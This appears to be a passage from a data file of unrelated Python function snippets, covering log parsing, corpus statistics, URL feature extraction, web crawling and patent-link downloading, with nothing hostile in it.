- encoded_urls1\n urls_not_in_har2 = encoded_urls1 - encoded_urls2\n\n if urls_not_in_har1:\n print 'URLs missing from {0}:'.format(har1_path)\n print urls_not_in_har1\n if urls_not_in_har2:\n print 'URLs missing from {0}:'.format(har2_path)\n print urls_not_in_har2\n\n print '\\n'\n print 'Comparing {0} urls (num urls in both dirs)'.format(\n str(len(url_intersection)))\n\n total_har1_resource_count = Counter()\n total_har2_resource_count = Counter()\n\n for encoded_url in url_intersection:\n decoded_url = urlsafe_b64decode(encoded_url)\n\n har1_dict = get_har_dict_from_file(\n path.join(har1_path, encoded_url + '.har'))\n har2_dict = get_har_dict_from_file(\n path.join(har2_path, encoded_url + '.har'))\n\n har1_status_code_count = get_status_code_count(har1_dict)\n har2_status_code_count = get_status_code_count(har2_dict)\n\n har1_response_size = get_total_body_size(har1_dict)\n har2_response_size = get_total_body_size(har2_dict)\n\n har1_resource_type_count = get_resource_count(har1_dict)\n har2_resource_type_count = get_resource_count(har2_dict)\n\n total_har1_resource_count.update(har1_resource_type_count)\n total_har2_resource_count.update(har2_resource_type_count)\n\n print 'Count for {0}:'.format(decoded_url)\n print har1_status_code_count\n print har2_status_code_count\n print 'Resource type counts for {0}:'.format(decoded_url)\n print har1_resource_type_count\n print har2_resource_type_count\n print 'Resource count difference: {0}'.format(\n abs(\n sum(har1_resource_type_count.values()) -\n sum(har2_resource_type_count.values())))\n print 'Response body sizes'\n print har1_response_size\n print har2_response_size\n print '======================================================='\n\n print 'Total resource counts'\n print total_har1_resource_count\n print total_har2_resource_count","def __wiki_counts(self):\n\n num_lines = 0\n num_valid_hyperlinks = 0\n disambiguation_ent_errors = 0\n\n print(\"Calculating Wikipedia mention/entity occurrences\")\n\n last_processed_id = -1\n exist_id_found = False\n\n wiki_anchor_files = os.listdir(\n os.path.join(self.base_url, self.wiki_version, \"basic_data/anchor_files/\")\n )\n for wiki_anchor in wiki_anchor_files:\n wiki_file = os.path.join(\n self.base_url,\n self.wiki_version,\n \"basic_data/anchor_files/\",\n wiki_anchor,\n )\n\n with open(wiki_file, \"r\", encoding=\"utf-8\") as f:\n for line in f:\n num_lines += 1\n\n if num_lines % 5000000 == 0:\n print(\n \"Processed {} lines, valid hyperlinks {}\".format(\n num_lines, num_valid_hyperlinks\n )\n )\n if '<doc id=\"' in line:\n id = int(line[line.find(\"id\") + 4 : line.find(\"url\") - 2])\n if id <= last_processed_id:\n exist_id_found = True\n continue\n else:\n exist_id_found = False\n last_processed_id = id\n else:\n if not exist_id_found:\n (\n list_hyp,\n disambiguation_ent_error,\n print_values,\n ) = self.__extract_text_and_hyp(line)\n\n disambiguation_ent_errors += disambiguation_ent_error\n\n for el in list_hyp:\n mention = el[\"mention\"]\n ent_wiki_id = el[\"ent_wikiid\"]\n\n num_valid_hyperlinks += 1\n if mention not in self.wiki_freq:\n self.wiki_freq[mention] = {}\n\n if (\n ent_wiki_id\n in self.wikipedia.wiki_id_name_map[\"ent_id_to_name\"]\n ):\n if mention not in self.mention_freq:\n self.mention_freq[mention] = 0\n self.mention_freq[mention] += 1\n\n ent_name = self.wikipedia.wiki_id_name_map[\n \"ent_id_to_name\"\n ][ent_wiki_id].replace(\" \", \"_\")\n if ent_name not in self.wiki_freq[mention]:\n self.wiki_freq[mention][ent_name] = 0\n self.wiki_freq[mention][ent_name] += 1\n\n print(\n \"Done computing Wikipedia counts. Num valid hyperlinks = {}\".format(\n num_valid_hyperlinks\n )\n )","async def get_stats():\n ret = {}\n counter = 0\n counter_error = 0\n counter_completed = 0\n list_duration = list()\n for j in mngr.transcode_requests:\n counter = counter + 1\n task = mngr.transcode_requests[j]\n if task.state == State.ERROR:\n counter_error = counter_error + 1\n elif task.state == State.COMPLETED:\n counter_completed += 1\n list_duration.append(task.duration)\n\n if not counter_completed:\n percent = 0\n aver = 0\n else:\n percent = np.percentile(np.array(list_duration), np.array(95))\n aver = np.average(np.array(list_duration))\n\n ret[\"completed ratio\"]=float(counter_completed/counter)\n ret[\"duration 95th percentile\"] = percent\n ret[\"average\"] = aver\n\n return ret","def getSignature(self, testPoint, spacings):\n signatureChunks = []\n nextLevelPoints = [(0, 0, 0)]\n for level in xrange(1, self.levels+1):\n radius = max(spacings[level-1])**2 + .5\n if radius < 9:\n # if radius < 4.5:\n # break\n radius = 9\n try:\n nextLevelPoints = self.getSubdivisionNodes(bestSignature)\n except UnboundLocalError:\n pass\n bestDist = 9999999999\n bestSignature = (9999999999, 9999999999, 9999999999)\n for signature in nextLevelPoints:\n gridPoint = self[level][signature]\n dist = sparseDistance(gridPoint, testPoint, radius=radius**2+1, noAtoms=True)\n if dist != None and dist < bestDist:\n bestDist = dist\n bestSignature = signature\n signatureChunks.append(bestSignature)\n return signatureChunks[-1]","def handle_signature(self, sig, signode):\n raise NotImplementedError","def parse():\n parser = argparse.ArgumentParser(\n description='Calculates statistics of sampled data')\n parser.add_argument(\n '--platform', default=None,\n help='the platform to use. \"r\" for reddit and \"s\" for stack overflow. Leave blank to do both')\n parser.add_argument(\n '--rq', default=None,\n help='the research question to answer. 1, 2, or 3', type=int)\n parser.add_argument(\n '--frequency',\n action='store_true',\n help='Compute the frequency distributions of urls, subreddits, and tags (slow)')\n parser.add_argument(\n '--tags',\n action='store_true',\n help='Only compute tags frequency dist. Overrides other options.')\n parser.add_argument(\n '--explain',\n action='store_true',\n help='custom helper. Check code not docs.')\n parser.add_argument(\n '--bootstrap',\n type=int,default=None,\n help='use stats bootstrapping')\n parser.add_argument(\n '--sample_num',\n default=None,\n help='select a sample number')\n args = parser.parse_args()\n if args.tags:\n tags_frequency_distribution(\n SampledStackOverflowPost.objects.all())\n tags_frequency_distribution(\n SampledStackOverflowPost.objects.filter(has_wiki_link=True))\n elif args.explain:\n explain()\n else:\n if args.platform is None:\n platforms = ['r', 's', ]\n else:\n platforms = [args.platform]\n if args.rq is None:\n rqs = [1, 2, 3]\n else:\n rqs = [args.rq]\n for platform in platforms:\n for rq in rqs:\n main(platform, rq, args.frequency, args.bootstrap, args.sample_num)","def result_filter_routine(self, args):\n file_types = set(['fb2', 'epub'])\n page_url, page_weight, weighted_links, thresholds, result_class = args\n page_threshold, link_threshold, book_link_cnt = thresholds\n\n ret_links = {}\n for link, weight in weighted_links:\n link_href = link.get('href', None)\n if not link_href:\n continue\n link_tgt_type = link_href.split('.')[-1]\n if link_tgt_type in file_types:\n page_weight += page_threshold / book_link_cnt\n link_url = extract_url_from_link(link_href,page_url)\n result_class.submit_book_link(link_url,page_url)\n continue\n if link.get('rel', None) == 'nofollow':\n continue\n if weight >= link_threshold:\n link_url = extract_url_from_link(link_href,page_url)\n if is_html_url( link_url ):\n old_weight = ret_links.get(link_url, 0)\n ret_links[link_url] = max(old_weight,weight)\n if page_weight >= page_threshold:\n result_class.submit_site(page_url)\n self.result = [page_url, page_weight, ret_links.items()]\n self.complete = True","def get_word_stats(segments, feats_dict):\r\n word_count_list = []\r\n word_lengths = []\r\n long_count = 0\r\n for segment in segments:\r\n word_count_list.append(len(segment))\r\n for word in segment:\r\n word_lengths.append(len(word))\r\n if len(word) > 6:\r\n long_count += 1\r\n # Compute segment level statistics\r\n feats_dict['wc_mean'] = np.mean(word_count_list) if word_count_list else float('nan')\r\n feats_dict['wc_median'] = np.median(word_count_list) if word_count_list else float('nan')\r\n feats_dict['wc_stdev'] = np.std(word_count_list) if word_count_list else float('nan')\r\n feats_dict['wc_min'] = min(word_count_list) if word_count_list else float('nan')\r\n feats_dict['wc_max'] = max(word_count_list) if word_count_list else float('nan')\r\n feats_dict['total_count'] = sum(word_count_list) if word_count_list else float('nan')\r\n\r\n # Compute fraction of words across whole call that are long (i.e. 6+ words)\r\n feats_dict['lw_count'] = (long_count / feats_dict['total_count']) if feats_dict['total_count'] else float('nan')\r\n # Compute mean length of any word used\r\n feats_dict['word_len'] = np.mean(word_lengths) if word_lengths else float('nan')","def build_parser(word_counts, signatures, stems, suffixes):\n \n # Go through signatures and associate each generated word with its parses...\n sig_num = 1\n parses = collections.defaultdict(dict)\n for suffixes in signatures:\n for pair in itertools.product(signatures[suffixes], suffixes):\n word = \"\".join(pair)\n parses[word][pair] = sig_num\n sig_num += 1\n \n # Go through each word in the corpus and increment stem and suffix count...\n stem_count = dict()\n suffix_count = dict()\n total_stem_count = total_suffix_count = 0\n for word, count in word_counts.items():\n if len(parses[word]):\n for stem, suffix in parses[word]:\n stem_count[stem] = stem_count.get(stem, 0) + count\n suffix_count[suffix] = suffix_count.get(suffix, 0) + count\n total_stem_count += count\n total_suffix_count += count\n else:\n parses[word][word, \"\"] = 0\n stem_count[word] = stem_count.get(word, 0) + count\n suffix_count[\"\"] = suffix_count.get(\"\", 0) + count\n total_stem_count += count\n total_suffix_count += count\n\n # Compute score of each word parse and store ordered lists of parses...\n parser = collections.defaultdict(list)\n for word in parses:\n scores = dict()\n total = 0\n for stem, suffix in parses[word]:\n score = (stem_count[stem]/total_stem_count) \\\n * (suffix_count[suffix]/total_suffix_count)\n scores[stem, suffix] = score\n total += score\n for stem, suffix in sorted(\n scores, key=scores.get, reverse=True\n ):\n parser[word].append(\n Parse(\n stem=stem,\n suffix=suffix,\n signature=parses[word][stem, suffix],\n score=scores[stem, suffix] / total,\n )\n )\n return parser","def getFeatures2(url, label):\r\n result = []\r\n url = str(url)\r\n \r\n #add the url to feature set\r\n result.append(url)\r\n \r\n #parse the URL and extract the domain information\r\n path = urlparse(url)\r\n ext = tldextract.extract(url)\r\n \r\n #counting number of dots in subdomain \r\n result.append(countdots(ext.subdomain))\r\n \r\n #checking hyphen in domain \r\n result.append(CountSoftHyphen(path.netloc))\r\n \r\n #length of URL \r\n result.append(length(url))\r\n \r\n #checking @ in the url \r\n result.append(CountAt(path.netloc))\r\n \r\n #checking presence of double slash \r\n result.append(CountDSlash(path.path))\r\n \r\n #Count number of subdir \r\n result.append(countSubDir(path.path))\r\n \r\n #number of sub domain \r\n result.append(countSubDomain(ext.subdomain))\r\n \r\n #length of domain name \r\n path2 = urlparse(url_format(url))\r\n result.append(len(path2.netloc)) \r\n \r\n #count number of queries \r\n result.append(len(path.query))\r\n \r\n #Adding domain information\r\n \r\n #if IP address is being used as a URL \r\n result.append(containsip(ext.domain))\r\n \r\n #presence of Suspicious_TLD\r\n result.append(1 if ext.suffix in Suspicious_TLD else 0)\r\n \r\n #append default for create_age(months)country\r\n result.append(-1)\r\n \r\n #append default for expiry_age(months)\r\n result.append(-1)\r\n \r\n #append default for update_age(days)\r\n result.append(-1)\r\n \r\n #append default for country\r\n result.append('None')\r\n \r\n #append extension\r\n path = urlparse(url)\r\n \r\n if get_ext(path.path) == '':\r\n result.append('None')\r\n else:\r\n result.append(get_ext(path.path))\r\n \r\n #append label\r\n result.append(str(label))\r\n \r\n return result","def calculate(d):\r\n\r\n # Set correct slashes for the OS\r\n if sys.platform == 'windows':\r\n slash = '\\\\'\r\n elif sys.platform == 'linux':\r\n slash = '/'\r\n else:\r\n print('#Error. Unknown platform.')\r\n return\r\n\r\n print('Files in the current directory and their md5-hashes:\\n')\r\n i = 0\r\n assert i == 0, '#Error. Variable i != 0.'\r\n\r\n for i in range(len(d[2])): # Go through the list of files\r\n full_path = d[0]+slash+d[2][i]\r\n print(full_path) # Get the list of files with full paths\r\n print(md5(full_path))\r\n size(full_path)","def parse_tool_sig(tpath):\n\n tname = os.path.basename(tpath)\n tdirname = os.path.dirname(tpath)\n\n if not tdirname: # Expect to find it in $PATH\n for path in os.getenv(\"PATH\").split(\":\"):\n if os.path.exists(os.path.join(path, tname)):\n tdirname = path\n break\n\n tdirname = expand_path(tdirname)\n logging.info(\"Using tool at: %s\", tdirname)\n\n out, err, rcode = run([tname, \"--help\"], cwd=tdirname)\n if rcode:\n logging.error(out, err, rcode)\n return None\n\n match = re.match(RE_SIG, out, re.MULTILINE | re.IGNORECASE)\n if not match:\n logging.error(\"No match!\")\n return None\n\n tsig = {\n \"name\": tname,\n \"path\": tpath,\n \"dirname\": tdirname,\n \"usage\": match.group(\"usage\"),\n \"descr\": match.group(\"descr\").strip(),\n \"descr_long\": match.group(\"descr\").strip(),\n \"snames\": [],\n \"subs\": {},\n }\n\n for line in match.group(\"body\").splitlines():\n line = line.strip()\n if not line:\n continue\n\n sname = line.split(\" \")[0]\n tsig[\"snames\"].append(sname)\n\n if not parse_tool_sub_sig(tsig, sname):\n logging.error(\"FAILED: parsing tname: %s, sname: %s\", tname, sname)\n return None\n\n return tsig","def parse(input_path, output_dir, func_validate = None, target_tag = None, size_limit_KB = None):\n if not os.path.exists(output_dir): os.makedirs(output_dir)\n\n if os.path.isfile(input_path):\n print (\"The input file is\", input_path)\n print (\"The output directory is\", output_dir)\n files = [[input_path, os.path.basename(input_path)]]\n else:\n input_dir = input_path\n print (\"The input directory is\", input_dir)\n print (\"The output directory is\", output_dir)\n print (\"Searching HTML files in the input directory...\")\n files = file_utils.get_filelist_in_path(\"html\", input_dir, True)\n\n def process(files):\n corpus_store = corpus_utils.CorpusStore(func_validate = func_validate)\n\n for idx, file in enumerate(files):\n f_abst = file[0] # absolute path\n f_rel = file[1] # relative path\n print (\"(\", idx, \"of\", len(files), \") file\", f_rel)\n file_content = file_utils.read_file_any_encoding(f_abst)\n if (len(file_content) == 0):\n continue\n\n # 1st, process the data with Atomic Parser\n parser = pat.Parser(corpus_store)\n parser.parse(file_content)\n\n # Process the same data with Atomic HeaderBody Parser\n # parser = pah.Parser(corpus_store)\n # parser.parse(file_content)\n\n # Process the same data with HeaderBody Parser\n parser = phb.Parser(corpus_store, target_tag)\n parser.parse(file_content)\n\n # Export the parsed data into file\n print (\"Exporting the result...\")\n return corpus_store.export_corpus(output_dir, size_limit_KB = size_limit_KB)\n\n print (\"Total\", len(files), \"files to process.\")\n exported_files = process(files)\n print (\"Exported:\", exported_files)","def test_parsing_webserver_logs(file, host_ip):\n\n ip_regexp = r\"\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\" # regexp for searching ip in logfile\n client_error_regexp = r'\" 4\\d{2} ' # 4xx number\n server_error_regexp = r'\" 5\\d{2} ' # 5xx number\n request_time_regexp = r'] \\d+ \"' # any number between ] and \" (configured apache's /D (request time by\n # microseconds logging parameter to be between these symbols)\n timestamp_regexp = r'\\d{2}/\\D+/\\d{4}:\\d{2}:\\d{2}:\\d{2}'\n\n values = {}\n top_count = \"10\"\n\n def file_last_timestamp(file):\n with open(file) as f:\n last_line = list(f)[-1]\n print(last_line)\n timestamp = re.search(timestamp_regexp, last_line)\n if timestamp:\n return str(timestamp[0]).replace('/', '.').replace(':', '.')\n else:\n return path.basename(file)\n\n\n def copy_unique_elements(list_of_all):\n \"\"\"\n Copies unique elements from list to unique_list\n :param list_of_all:\n :return:\n \"\"\"\n unique_list = []\n for i in list_of_all:\n if i not in unique_list:\n unique_list.append(i)\n if len(unique_list) == int(top_count):\n break\n return unique_list\n\n def findall_unique_exps(regexp, data):\n \"\"\"\n Returns list of unique expressions in data (may be limited by length\n if copy_unique_elements function's used)\n :param regexp:\n :param data:\n :return:\n \"\"\"\n list_of_all = re.findall(regexp, data)\n count = Counter(list_of_all)\n sorted_list = sorted(list_of_all, key=lambda x: (count[x], x), reverse=True)\n return copy_unique_elements(sorted_list)\n\n def findall_unique_exps_lines(regexp, logfile):\n \"\"\"\n Returns a list of lines with unique expressions in logfile (may be limited by length\n if copy_unique_elements function's used)\n :param regexp:\n :param logfile:\n :return:\n \"\"\"\n list_of_all = []\n with open(logfile) as logfile:\n for line in logfile:\n exp = re.compile(regexp)\n if exp.search(line):\n list_of_all.append(line)\n return copy_unique_elements(list_of_all)\n\n def requests_count(regexp, data):\n \"\"\"\n Returns requests count containing expression like 'GET' or 'POST'\n :param regexp:\n :param data:\n :return:\n \"\"\"\n requests_list = re.findall(regexp, data)\n return int(list(Counter(requests_list).values())[0])\n\n def requests_exec_time_list(regexp, data, logfile):\n \"\"\"\n Returns lines with longest requests (number of lines is set in top_count variable)\n :param regexp:\n :param data:\n :param logfile:\n :return:\n \"\"\"\n # find every request time and add to collection\n request_time_list = re.findall(regexp, data)\n request_time_count = Counter(request_time_list)\n sorted_request_time_list = sorted(request_time_list, key=lambda x: (request_time_count[x], x), reverse=True)\n # convert strings in requests time integer values\n for index, item in enumerate(sorted_request_time_list):\n sorted_request_time_list[index] = int(''.join(c for c in item if c.isdigit()))\n # collect top <top_count> longest requests\n top_request_time_list = []\n for i in range(int(top_count)):\n max_request = max(sorted_request_time_list)\n top_request_time_list.append(max_request)\n sorted_request_time_list.remove(max_request)\n # search top <top_count> longest requests in a file and collect lines with them to a list\n top_request_lines = []\n with open(logfile) as f:\n for line in f:\n for i in top_request_time_list:\n if str(i) in line:\n top_request_lines.append(line)\n return top_request_lines\n\n def parse(log):\n\n timestamp = file_last_timestamp(log)\n json_file_name = 'log_parse_{}.json'.format(timestamp)\n open(json_file_name, 'w').close() # clears json-file for every test run\n\n print('\\n{}'.format(log)) # to see what log was parsed\n\n unique_client_error_lines_list = findall_unique_exps_lines(client_error_regexp, log)\n unique_server_error_lines_list = findall_unique_exps_lines(server_error_regexp, log)\n\n with open(log) as f:\n data = f.read()\n\n unique_ips_list = findall_unique_exps(ip_regexp, data)\n\n get_count = requests_count('GET', data)\n post_count = requests_count('POST', data)\n\n total_requests_count = get_count + post_count\n\n top_request_lines = requests_exec_time_list(request_time_regexp, data, log)\n\n with open(json_file_name, 'a') as json_file:\n values[\"{}\".format(log)] = {'TOP {} IPs'.format(top_count): unique_ips_list,\n 'Total requests count': total_requests_count,\n 'GET requests count': get_count,\n 'POST requests count': post_count,\n 'TOP {} client errors'.format(top_count): unique_client_error_lines_list,\n 'TOP {} server errors'.format(top_count): unique_server_error_lines_list,\n 'TOP {} longest requests'.format(top_count): top_request_lines}\n json.dump(values, json_file)\n\n if isinstance(file, list):\n for i in file:\n try:\n parse(i)\n except UnicodeDecodeError:\n print(\"File wasn't parsed (check format) ({})\".format(file))\n pass\n else:\n try:\n parse(file)\n except UnicodeDecodeError:\n print(\"File wasn't parsed (check format) ({})\".format(file))","def signature_length(self):","def process_files(path, patterns, callback):\r\n stats = dict.fromkeys(patterns, 0)\r\n for pattern, line_count in match_filenames(\r\n path, patterns, callback):\r\n stats[pattern] += line_count\r\n return stats","def _write_stats(self, stat_type, user=None, summ_type=None):\n if stat_type == \"full collection\":\n self.summary_file.write(\"\\n\\nDataset: {c}\\n\".format(c=self.dataset_name))\n self.summary_file.write(\"Number of unique urls: {u}\\nNumber of unique sites: {s}\\n\".format(u=len(set(self.stat_dict['urls'])), s=len(set(self.stat_dict['sites'])))\n )\n site_cnts = Counter(self.stat_dict['sites']).most_common()\n for site in site_cnts:\n self.summary_file.write(\"{s}: {n}\\n\".format(s=site[0], n=site[1]))\n\n if stat_type == \"token_counts\":\n self.summary_file.write(\"\\n\\nDataset: {c}\\n\".format(c=self.dataset_name))\n for doc_type in self.stat_dict:\n if user is not None:\n self.summary_file.write(\"\\n{0}, {1}\\n\".format(user, summ_type))\n\n self.summary_file.write(\n \"\\nNumber of {d}s: {p}\\nAverage tokens/{d}: {t}\\nAverage sentences/{d}: {s}\\n\".format(\n d=doc_type, p=len(self.stat_dict[doc_type][0]), t=sum(self.stat_dict[doc_type][1])/len(self.stat_dict[doc_type][1]), s=sum(self.stat_dict[doc_type][0])/len(self.stat_dict[doc_type][0])\n )\n )\n\n self.summary_file.write(\n \"Median tokens/{d}: {p}\\nStandard deviation tokens/{d}: {t}\\n\".format(\n d=doc_type, p=np.median(self.stat_dict[doc_type][1]), t=np.std(self.stat_dict[doc_type][1])\n )\n )\n\n self.summary_file.write(\n \"Median sentences/{d}: {p}\\nStandard deviation sentences/{d}: {t}\\n\".format(\n d=doc_type, p=np.median(self.stat_dict[doc_type][0]), t=np.std(self.stat_dict[doc_type][0])\n )\n )","def integrateStats(self, data):\n\n typeTags = ('AA', 'UU', 'UUE', 'UUD', 'UX', 'UnM', 'UrM',\n 'nMnM', 'rMrM', 'nMrM', 'nMA', 'rMA', 'XX',\n 'fr', 'rf', 'ff', 'rr')\n\n for pDict in data:\n for i in xrange(len(self.orderedStreams)):\n if self.orderedStreams[i].name == pDict['name']:\n stream = self.orderedStreams[i]\n # insert size stats\n for sizePair in pDict['stats']['sizes']:\n stream.stats['sizes'].append(sizePair)\n # Rname stats\n for statsKey in ('rnames', 'RNsingle', 'RNpairs'):\n for key,value in pDict['stats'][statsKey].items():\n try:\n stream.stats[statsKey][key] += value\n except KeyError:\n stream.stats[statsKey][key] = value\n # LL and ss match stats\n for tag in typeTags:\n try:\n stream.stats[tag] += pDict['stats'][tag]\n except KeyError:\n stream.stats[tag] = pDict['stats'][tag]\n # General counts and output files (var: fns)\n stream.count += 1\n fns = []\n for filename in pDict['files']:\n if stream.op(OP_SAM):\n fns.append('%s.%s' % (filename, OP_SAM))\n elif stream.op(OP_SAMPP):\n fns.append('%s.pp.%s' % (filename, OP_SAM))\n if stream.op(OP_FASTQPP):\n if stream.op(OP_SH):\n fns.append('%s.pp.sh.%s' % (filename, OP_FASTQ))\n else:\n fns.append('%s.pp.1.%s' % (filename, OP_FASTQ))\n fns.append('%s.pp.2.%s' % (filename, OP_FASTQ))\n elif stream.op(OP_FASTQ):\n if stream.op(OP_SH):\n fns.append('%s.sh.%s' % (filename, OP_FASTQ))\n else:\n fns.append('%s.1.%s' % (filename, OP_FASTQ))\n fns.append('%s.2.%s' % (filename, OP_FASTQ))\n for fname in fns:\n stream.fileswritten.add(fname)\n stream.outputfilenames.add(fname)\n break\n\n # Now add the so-called global stats from each dict - we only need\n # update the globalstats list in the first stream object\n for pDict in data:\n stream = self.orderedStreams[0]\n for tag in typeTags:\n try:\n stream.globalstats[tag] += pDict['globalstats'][tag]\n except KeyError:\n stream.globalstats[tag] = pDict['globalstats'][tag]\n\n # Update the heartbeat object with the number of record pairs\n # written. This will trigger a console update automatically when\n # needed.\n self.heartbeat.count = stream.globalstats['AA']\n self.heartbeat.update()","def _gather_path(self, comp, path, function_map):\n print(f'\"Analyzing {comp} at {path}')\n if not os.path.exists(path):\n print('No files in {path}')\n return\n\n for root, _dirs, files in os.walk(path):\n if self.excluded(root):\n continue\n if not self.included(root, self.dir_inclusions):\n continue\n for fname in files:\n if not self.included(fname, self.file_inclusions):\n continue\n if fname.endswith(\".su\"):\n with open(os.path.join(root, fname), \"r\") as frame:\n for line in frame.readlines():\n split = line.split()\n if len(split) < 3:\n continue\n func = f\"{comp}:{split[0]}\"\n usage = int(split[-2])\n if usage < self.cutoff:\n continue\n if func not in function_map:\n function_map[func] = usage\n elif usage > function_map[func]:\n function_map[func] = usage","def main(argv):\n\n defaults = {\n 'uspto_url': 'http://www.google.com/googlebooks/uspto-patents-applications-biblio.html',\n 'html_page': None,\n 'requested_years': [],\n 'write_to_stdout': False,\n 'print_to_file': False,\n 'download': False,\n 'output_directory': '.'\n }\n\n validate_input(argv, defaults);\n\n if not defaults['html_page']:\n defaults['html_page'] = load_url(uspto_url)\n soup = BeautifulSoup(html_page)\n\n links_per_year = defaultdict(list)\n links = soup.findAll('a', attrs={ 'href': re.compile('zip$') })\n logging.info(' found ' + str(len(links)) + ' links')\n for link in links:\n logging.debug(' . ' + link['href'])\n matched_year = re.search( '/([0-9]{4})/', link['href'])\n if matched_year:\n links_per_year[matched_year.group(1)].append(link['href'])\n filtered_dict = links_per_year\n if requested_years:\n filtered_dict = { year : links_per_year[year] for year in requested_years }\n if write_to_stdout:\n for links in sorted(filtered_dict.itervalues()):\n for link in links:\n print link\n if print_to_file:\n makedirs(output_directory)\n for k,v in filtered_dict.iteritems():\n basename = k + '.txt'\n filename = output_directory + '/' + basename\n if os.path.isfile(filename):\n os.remove(filename)\n with open(filename, 'a') as text_file:\n for link in sorted(v):\n text_file.write(link + '\\n')\n logging.debug(' file ' + basename + ' written to disk')\n logging.info(' all files written to disk')\n if download:\n for year, links in filtered_dict.iteritems():\n makedirs(os.path.join(output_directory, year))\n for link in links:\n try:\n filename = os.path.join(output_directory, year, link.split('/')[-1])\n prog = urlgrabber.progress.text_progress_meter()\n urlgrabber.urlgrab(str(link), filename, progress_obj=prog)\n except Exception, e:\n logging.warn(' error while downloading %s: %s' % (link, e))","def get_stats(filtered_paths : dict) -> dict:\n stats_dict = defaultdict(dict)\n for mag in filtered_paths.keys():\n for spec,paths in filtered_paths[mag].items():\n counter = Counter()\n for path in paths:\n img = cv2.imread(path, -1)\n count = Counter(list(img.ravel()))\n counter += count\n stats_dict[mag][spec] = counter\n print(mag)\n return stats_dict","def extract_names_URL(inputURL, source=\"gnrd\", sEngine=0):\r\n #service execution time\r\n start_time = time.time()\r\n if source == \"gnrd\":\r\n final_result = get_sn_url(inputURL, sEngine)\r\n elif source == \"taxonfinder\":\r\n final_result = get_tf_sn_url(inputURL)\r\n else:\r\n return {'status_code': 400, 'message': \"Error: Invalid source name\"} \r\n\r\n end_time = time.time()\r\n execution_time = end_time-start_time\r\n\r\n #service result creation time\r\n creation_time = datetime.datetime.now().isoformat()\r\n\r\n meta_data = {'creation_time': creation_time, 'execution_time': float(\"{:4.2f}\".format(execution_time)), 'source_urls': [\"http://gnrd.globalnames.org/\"] }\r\n\r\n final_result['meta_data'] = meta_data\r\n final_result['total_names'] = len(final_result['scientificNames'])\r\n\r\n return json.dumps(final_result)","def generate_signature_base_string(request):\n host = request.headers.get('Host', None)\n return construct_base_string(\n request.method, request.uri, request.params, host)","def summarize_page(url, sent_count=default_sents, kp_count=default_kp):\n import bs4\n import requests\n\n try:\n data = requests.get(url).text\n soup = bs4.BeautifulSoup(data, \"html.parser\")\n # Find the tag with most paragraph tags as direct children\n body = max(soup.find_all(),\n key=lambda tag: len(tag.find_all('p', recursive=False)))\n\n paragraphs = map(lambda p: p.text, body('p'))\n text = '\\n'.join(paragraphs)\n return summarize(text, sent_count, kp_count)\n except Exception as e:\n return \"Something went wrong: {}\".format(str(e)), []","def _extract_methods_signatures(self):\n return {\n 'erc20': {\n 'totalSupply': self._extract_first_bytes('totalSupply()'),\n 'balanceOf': self._extract_first_bytes('balanceOf(address)'),\n 'allowance': self._extract_first_bytes('allowance(address,address)'),\n 'transfer': self._extract_first_bytes('transfer(address,uint256)'),\n 'transferFrom': self._extract_first_bytes('transferFrom(address,address,uint256)'),\n 'approve': self._extract_first_bytes('approve(address,uint256)'),\n },\n 'erc223': {\n 'tokenFallback': self._extract_first_bytes('tokenFallback(address,uint256,bytes)')\n },\n 'bancor_converter': {\n 'convert': self._extract_first_bytes('convert(address,address,uint256,uint256)')\n }\n }","def corpus_statistics(corpus, d_corp):\n print('There are {} types of a total of {} tokens in the corpus.\\n' .format(number_types(corpus), corpus_length(corpus)))\n print('There average token length is {}.\\n' .format(average_length(corpus)))\n print('The longest token is {}.\\n' .format(longest_token(corpus)))\n print('The number of hapaxes is {} and represents the {} of the corpus.\\n.' .format(hapaxes(corpus), percentage(hapaxes(corpus), corpus_length(corpus))))\n print('The 10 most frequent types of the total tokens are {} and represent the {}%.\\n' .format(most_frequent(corpus), percentage_common_types(corpus))) \n print('The hapaxes present in each of the 9 partitions are {}.\\n' .format(hapaxes_parts(d_corp)))\n print('The percentage of hapaxes for each partition is {}.\\n' .format(percentage_hapaxes(d_corp, corpus)))\n plots(d_corp, corpus)\n print('\\nIn the tupla {}, the first element is the number of unique bigrams, and the second element is the percentage of unique bigrams from all the bigrams in the corpus. Similarly, in this tupla {}, the first element is the number of unique trigrams, and the second element is the percentage of unique trigrams from all the bigrams in the corpus.' .format(ngram(corpus, 2), ngram(corpus, 3)))","async def parse_links(\n self, response: aiohttp.ClientResponse\n ) -> typing.Tuple[UrlStatistic, set]:\n links = set()\n content_type = None\n encoding = None\n body = await response.read()\n\n if response.status == 200:\n content_type = response.headers.get('content-type')\n enc: typing.Dict[str, str] = {}\n\n if content_type:\n content_type, enc = cgi.parse_header(content_type)\n\n encoding = enc.get('charset', 'utf-8')\n\n if content_type in ('text/html', 'application/xml'):\n text = await response.text()\n\n # replace href with (?:href|src) to follow image links\n urls = set(re.findall(r'''(?i)href=[\"']([^\\s\"'<>]+)''', text))\n if urls:\n LOGGER.info(\n f'found {len(urls)} distinct urls via {response.url.human_repr()}' # pylint: disable=C0301 # noqa: E501\n )\n\n for url in urls:\n normalized = urllib.parse.urljoin(str(response.url), url)\n\n defragmented, _ = urllib.parse.urldefrag(normalized)\n\n if self.is_url_valid(defragmented):\n links.add(defragmented)\n\n stat = UrlStatistic(\n url=response.url,\n next_url=None,\n status=response.status,\n exception=None,\n size=len(body),\n content_type=content_type,\n encoding=encoding,\n num_urls=len(links),\n num_new_urls=len(links - self.crawled_urls),\n )\n\n return stat, links","def main(args):\n t1 = time.time()\n # Most of the URL fetching libraries will want an explicit protocol.\n # Allow loose commandline args\n base = protocolise(args.domain)\n\n seen = set()\n sitemap = networkx.DiGraph()\n\n #fetch_website(sitemap, seen, base, base)\n fetch_website_gevent(sitemap, set([base]), base, [base])\n\n outfile = output(sitemap, deprotocolise(base))\n\n t2 = time.time()\n print DONE.format(outfile)\n if args.bench:\n bench_report(t1, t2)\n\n return 0","def test_parse_url(self):\n filename = 'demo-file.tar.gz'\n backend = BackendS3(**self.config)\n pb = PathBuilder('123456')\n base_url = backend.get_url()\n id = utils.generate_id(filename)\n parts = backend.id_to_path(id)\n path = '/'.join(parts)\n object_url = base_url + '/' + path + '/'\n original = object_url + filename\n crop_filename = pb.get_auto_crop_filename(id, '100x100', 'fit', 'jpg')\n resize = object_url + crop_filename\n result1 = backend.parse_url(original)\n result2 = backend.parse_url(resize)\n self.assertEquals(id, result1[0])\n self.assertEquals(filename, result1[1])\n self.assertEquals(id, result2[0])\n self.assertEquals(crop_filename, result2[1])","def storeSegment ( baseurl, fields, 